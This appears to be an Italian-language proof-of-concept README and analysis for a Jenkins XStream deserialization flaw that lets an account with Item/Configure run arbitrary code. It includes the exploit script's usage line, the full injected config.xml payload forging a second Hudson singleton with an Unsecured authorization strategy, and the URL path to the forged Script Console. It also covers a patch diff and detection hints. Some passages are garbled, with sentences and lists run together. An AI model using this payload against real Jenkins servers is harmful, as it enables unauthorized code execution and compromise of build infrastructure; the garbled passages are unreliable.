
Jenkins PersistenceRoot Deserialization RCE (SECURITY-3972) — PoC e analisi. Richiede Item/Configure; interessa le versioni weekly <= 2.579 / LTS <= 2.568.2
PoC per la vulnerabilità di deserializzazione di Jenkins corretta il 2026-09-02 (avviso). Un account con privilegi limitati in possesso di Item/Configure su un singolo job può trasformarlo in esecuzione arbitraria di codice come utente OS di Jenkins.
| Interessati | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| Corretti | weekly 2.580, LTS 2.568.3 |
| Prerequisito | autenticato, Item/Configure su ≥ 1 job |
| Impatto | RCE come account di servizio Jenkins |
| CVSS | 8.8 (Alto) |
Solo per ricerca di sicurezza autorizzata su istanze di test vulnerabili.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
Lo script verifica che l'account non abbia permessi di script (atteso 403), invia il config.xml modificato, quindi instrada attraverso il grafo di oggetti iniettato verso una Script Console la cui ACL è controllata dall'attaccante.
Due comportamenti di lunga data dello stack XStream di Jenkins (hudson.util.XStream2 / RobustReflectionConverter) si combinano:
PersistenceRoot veniva deserializzato come un normale oggetto. Poiché XStream istanzia tramite Unsafe.allocateInstance (nessun costruttore), un attaccante poteva forgiare un secondo singleton hudson.model.Hudson con valori di campo arbitrari — inclusa authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent) sono transient, quindi gli oggetti iniettati diventano raggiungibili via HTTP — la dicitura "gestisce successivamente le richieste HTTP via Stapler" dell'avviso.POST /job/<job>/config.xml (richiede solo Item/Configure) inietta negli <actions> del job:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot annidato (difetto 1); campo transient (difetto 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; 2° Jenkins forgiato -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- evita NPE in Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Stapler instrada quindi la richiesta nel grafo forgiato:
| Segmento URL | Risolve a | Percorso del codice |
|---|---|---|
/job/<job>/fingerprints | FingerprintAction iniettato | urlName == "fingerprints" + Actionable.getDynamic() |
/run | FreeStyleBuild forgiato | FingerprintAction.getRun() legge il transient build |
/parent | FreeStyleProject forgiato | Run.getParent() legge final transient project |
/parent | hudson.model.Hudson forgiato | AbstractItem.getParent() legge il transient parent |
/scriptText | Script Console dell'istanza forgiata | Jenkins.doScriptText() → _doScript(..., getACL()) |
Il bypass dell'autorizzazione: doScriptText controlla ADMINISTER contro l'istanza che ha ricevuto la richiesta, cioè getACL() dell'Hudson forgiato, che deriva dal proprio campo authorizationStrategy — AuthorizationStrategy$Unsecured concede tutto. La strategia di autorizzazione del controller reale non partecipa mai. Poiché nessun costruttore viene eseguito durante la deserializzazione, gli inizializzatori di campo non si applicano; il payload deve impostare esplicitamente authorizationStrategy (e properties).
Diffing jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal ora rifiuta di deserializzare un sottotipo di PersistenceRoot in un campo annidato (CriticalXStreamException: "Gli oggetti PersistenceRoot sono radici di documento e non devono apparire come valori di campi annidati"), consentendo solo tre forme sicure: back-reference XStream reference=, replacer resolves-to non persistenti (Run$Replacer, User$Replacer, …) e riferimenti scalari di converter a valore singolo.@XStreamNotDeserializable / @XStreamDeserializable più TRANSIENT_FIELD_STRICT_MODE rafforzano la deserializzazione dei campi transient per campo.Jenkins.readResolve() ora rifiuta di deserializzare un secondo singleton Jenkins e ha ottenuto un replacer writeReplace().test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml inattesi contenenti Fingerprinter_-FingerprintAction / hudson.model.Hudson annidati, o richieste a /job/*/fingerprints/run/parent/parent/scriptText.config.xml dei job per eventuale inquinamento.